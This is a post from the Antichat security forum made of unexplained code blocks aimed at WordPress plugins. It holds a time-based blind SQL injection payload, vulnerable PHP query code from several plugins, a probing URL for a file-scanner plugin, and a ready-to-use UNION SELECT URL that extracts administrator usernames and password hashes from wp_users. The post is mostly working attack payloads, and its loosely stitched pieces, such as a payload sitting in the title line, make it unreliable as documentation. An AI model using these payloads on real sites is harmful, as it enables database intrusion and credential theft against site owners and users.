ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
# Exploit Title: WordPress Collision Testimonials plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
	$id = $_GET['id'];
	mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};

Code:
http://wp/?dj-on-air=users&sdate=21-06-1945%+UNION+SELECT+1,2,3,4,5,group_concat(user_login,0x3a,user_pass+separator+0x3c62723e)+FROM+wp_users+WHERE+ID+IN+(SELECT+user_id+FROM+wp_usermeta+WHERE+meta_value=0x613A313A7B733A31333A2261646D696E6973747261746F72223B623A313B7D)--+

Code:
http://wp/wp-content/plugins/tvulnerscanner/cg-tvs-filescanner.php?file[]=

Code:
function wppa_crumb_page_ancestors($sep, $page = '0') {
global $wpdb;
global $wppa;
	
	$query = "SELECT post_parent FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $page . " LIMIT 0,1";
	$parent = $wpdb->get_var($query);
	if (!is_numeric($parent) || $parent == '0') return;
	wppa_crumb_page_ancestors($sep, $parent);
	$query = "SELECT post_title FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $parent . " LIMIT 0,1";
	$title = $wpdb->get_var($query);
	if (!$title) {
		$title = '****';		// Page exists but is not publish
		$wppa['out'] .= wppa_nltab().'';
		$wppa['out'] .= wppa_nltab().''.$title.$sep.'';
	} else {
		$wppa['out'] .= wppa_nltab().''.$title.'';
		$wppa['out'] .= wppa_nltab().''.$sep.'';
	}
}

Code:
$thumbs = $wpdb->get_results('SELECT * FROM '.WPPA_PHOTOS.' WHERE mean_rating > 0 AND album = '.$alb.' ORDER BY mean_rating DESC LIMIT '.$max, 'ARRAY_A');